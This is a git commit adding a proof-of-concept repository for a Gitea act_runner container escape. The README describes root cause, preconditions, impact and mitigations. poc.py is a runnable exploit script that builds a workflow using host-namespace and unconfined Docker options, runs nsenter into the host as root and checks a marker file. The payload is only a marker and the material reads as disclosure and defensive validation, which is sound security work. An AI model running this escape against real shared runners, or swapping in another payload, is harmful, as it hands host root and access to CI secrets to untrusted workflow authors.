Add exploitarium archive

This commit is contained in:
ashton
2026-06-23 00:13:35 -05:00
commit b5d099261a
99 changed files with 5715 additions and 0 deletions

View File

@@ -0,0 +1,9 @@
__pycache__/
*.pyc
.pytest_cache/
.mypy_cache/
.ruff_cache/
.venv/
venv/
tmp/
poc-workdir/

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,114 @@
# Gitea act_runner `container.options` Host Namespace PoC
This repository contains a local, marker-only Python proof of concept for a Gitea `act_runner` container hardening bypass.
The issue is that workflow-controlled `jobs.<job>.container.options` is appended to Docker options for the job container. The runner forces `--privileged` back to false when the runner configuration disables privileged mode, and it sanitizes bind mounts, but it preserves other Docker flags that can be equivalent to host control on a Docker runner.
The PoC uses:
```yaml
container:
image: ubuntu:22.04
options: --pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined
```
The job then runs `nsenter` and writes a marker file under `/tmp` on the runner host. The default PoC disables the runner's Docker socket mount with `--container-daemon-socket=-`, so the marker demonstrates host namespace access through Docker container options rather than direct Docker socket access from the job.
## Impact
An attacker who can run a workflow on an affected Docker-backed `act_runner` can create a job container with host PID/IPC namespaces, broad Linux capabilities, and unconfined security profiles while `Privileged` remains false. In the validated environment, that allowed the workflow step to enter host namespaces and execute a host-side marker command as root.
This is high severity for repositories where untrusted users can trigger workflows on shared runners. It can be critical when a shared runner host has repository secrets, deployment credentials, adjacent jobs, or access to internal build infrastructure.
## Preconditions
- Gitea Actions is enabled.
- A Docker-backed `act_runner` executes workflows from the attacker-controlled repository or branch.
- The job image contains `nsenter`; `ubuntu:22.04` does.
- Docker accepts the preserved options shown above on the runner host.
- The runner allows workflow-authored job containers.
## Root Cause
Source-to-sink path in `act_runner`:
- `ContainerSpec.Options` accepts workflow YAML `container.options`.
- `RunContext.options()` appends workflow options to runner-level container options.
- The job container is created with `Privileged: rc.Config.Privileged`, but also with `Options: rc.options(ctx)`.
- `mergeContainerConfigs()` parses Docker CLI-style options.
- When privileged mode is disabled, only `copts.privileged` is forced false.
- The parsed HostConfig still keeps `PidMode`, `IpcMode`, `CapAdd`, `SecurityOpt`, `Devices`, `VolumesFrom`, and other non-volume fields.
- `sanitizeConfig()` only filters `Binds` and `Mounts`.
Validated dangerous HostConfig fields:
```text
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
```
## Files
- `poc.py` - stdlib-only Python PoC that generates a workflow, runs `act_runner exec`, and verifies the marker.
## Quick Start
Build or download an `act_runner` binary for the Linux host that has Docker access, then run:
```bash
python3 poc.py --runner ./act_runner --image ubuntu:22.04
```
For verbose evidence:
```bash
python3 poc.py --runner ./act_runner --image ubuntu:22.04 --debug
```
Expected success output includes:
```text
[+] verified host marker:
uid=0(root) gid=0(root) groups=0(root)
gitea-act-runner-container-options-poc-ok
```
The generated workflow is placed in a temporary directory by default. To inspect it:
```bash
python3 poc.py --runner ./act_runner --keep-workdir --debug
```
## Validation Notes
The local validation used `act_runner exec` because it exercises the same runner code path that converts workflow job container options into Docker HostConfig for a job container.
The validation command used by the PoC includes:
```bash
--container-daemon-socket=-
```
That setting prevents the normal Docker socket bind mount into the job container. The workflow still reaches the host marker through namespace entry, which isolates the issue to Docker option handling.
## Mitigation Direction
Treat workflow-authored `container.options` as untrusted input. A defensive patch should reject or allowlist job-level Docker options rather than passing the Docker CLI option surface through wholesale.
At minimum, when runner privileged mode is disabled, reject or strip:
- host namespaces: `--pid=host`, `--ipc=host`, `--uts=host`, `--cgroupns=host`, `--network=host`
- capability expansion: `--cap-add`, especially `ALL` and `SYS_ADMIN`
- security profile overrides: `--security-opt seccomp=unconfined`, `--security-opt apparmor=unconfined`, label disabling
- host device access: `--device`, `--device-cgroup-rule`, GPU/CDI device requests
- inherited volumes: `--volumes-from`
- runtime and cgroup escape-adjacent controls: `--runtime`, `--cgroup-parent`, broad sysctls
Runner operators should also avoid sharing Docker-backed runners with untrusted repositories. Use isolated, single-tenant runners or stronger sandboxing for untrusted workflows.
## Disclosure Scope
This PoC is designed for local defensive validation on infrastructure you control. It writes only a marker file and prints the verification result.

View File

@@ -0,0 +1,157 @@
#!/usr/bin/env python3
import argparse
import os
import pathlib
import re
import shutil
import shlex
import subprocess
import sys
import tempfile
import textwrap
DEFAULT_OPTIONS = "--pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined"
DEFAULT_MARKER = "/tmp/gitea_act_runner_container_options_poc_marker"
SUCCESS_TOKEN = "gitea-act-runner-container-options-poc-ok"
def parser():
p = argparse.ArgumentParser(
description="Local marker-only PoC for Gitea act_runner workflow container.options host namespace escape."
)
p.add_argument("--runner", default="act_runner", help="Path to the act_runner binary.")
p.add_argument("--image", default="ubuntu:22.04", help="Linux image used for the job container.")
p.add_argument("--marker", default=DEFAULT_MARKER, help="Absolute Linux host marker path to create.")
p.add_argument("--workdir", default="", help="Directory for the generated workflow. Defaults to a temporary directory.")
p.add_argument("--keep-workdir", action="store_true", help="Keep the generated workflow directory.")
p.add_argument("--timeout", type=int, default=180, help="act_runner exec timeout in seconds.")
p.add_argument("--debug", action="store_true", help="Run act_runner with --debug.")
p.add_argument("--pull", action="store_true", help="Ask act_runner to pull the container image.")
return p
def validate_marker(marker):
if not marker.startswith("/"):
raise SystemExit("marker must be an absolute Linux path")
if not re.fullmatch(r"[A-Za-z0-9._/\-]+", marker):
raise SystemExit("marker contains unsupported characters")
if marker in {"/", "/tmp", "/var/tmp"}:
raise SystemExit("marker must be a file path")
def write_workflow(root, marker, image):
workflows = root / ".gitea" / "workflows"
workflows.mkdir(parents=True, exist_ok=True)
marker_q = shlex.quote(marker)
inner = f"id > {marker_q}; echo {shlex.quote(SUCCESS_TOKEN)} >> {marker_q}"
command = f"nsenter -t 1 -m -u -i -n -p -- sh -c {shlex.quote(inner)}"
workflow = f"""
name: gitea-act-runner-container-options-poc
on:
- push
jobs:
breakout:
runs-on: ubuntu-latest
container:
image: {image}
options: >-
{DEFAULT_OPTIONS}
steps:
- name: host namespace marker
run: |
set -eu
{command}
"""
path = workflows / "poc.yml"
path.write_text(textwrap.dedent(workflow).lstrip(), encoding="utf-8")
return path
def run(args, root):
cmd = [
args.runner,
"exec",
"-C",
str(root),
"-W",
str(root / ".gitea" / "workflows"),
"-j",
"breakout",
"--container-daemon-socket=-",
"--image",
args.image,
]
if args.pull:
cmd.append("--pull")
if args.debug:
cmd.append("--debug")
print("[*] running:", " ".join(shlex.quote(x) for x in cmd), flush=True)
return subprocess.run(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
timeout=args.timeout,
check=False,
)
def read_marker(marker):
try:
return pathlib.Path(marker).read_text(encoding="utf-8", errors="replace")
except FileNotFoundError:
return ""
except PermissionError as exc:
raise SystemExit(f"marker exists but cannot be read: {exc}") from exc
def remove_marker(marker):
try:
pathlib.Path(marker).unlink()
except FileNotFoundError:
pass
except PermissionError:
pass
def main():
args = parser().parse_args()
validate_marker(args.marker)
runner = shutil.which(args.runner) if os.path.basename(args.runner) == args.runner else args.runner
if not runner:
raise SystemExit("act_runner binary was not found; pass --runner /path/to/act_runner")
args.runner = runner
remove_marker(args.marker)
temp = None
if args.workdir:
root = pathlib.Path(args.workdir).resolve()
root.mkdir(parents=True, exist_ok=True)
else:
temp = tempfile.TemporaryDirectory(prefix="gitea-act-runner-poc-")
root = pathlib.Path(temp.name)
workflow = write_workflow(root, args.marker, args.image)
print(f"[*] generated workflow: {workflow}", flush=True)
try:
result = run(args, root)
finally:
if temp and args.keep_workdir:
temp.cleanup = lambda: None
print(result.stdout, end="")
marker = read_marker(args.marker)
if result.returncode != 0:
raise SystemExit(f"act_runner exited with {result.returncode}")
if SUCCESS_TOKEN not in marker:
raise SystemExit("marker was not created; host namespace entry was not verified")
print("[+] verified host marker:")
print(marker, end="" if marker.endswith("\n") else "\n")
if __name__ == "__main__":
main()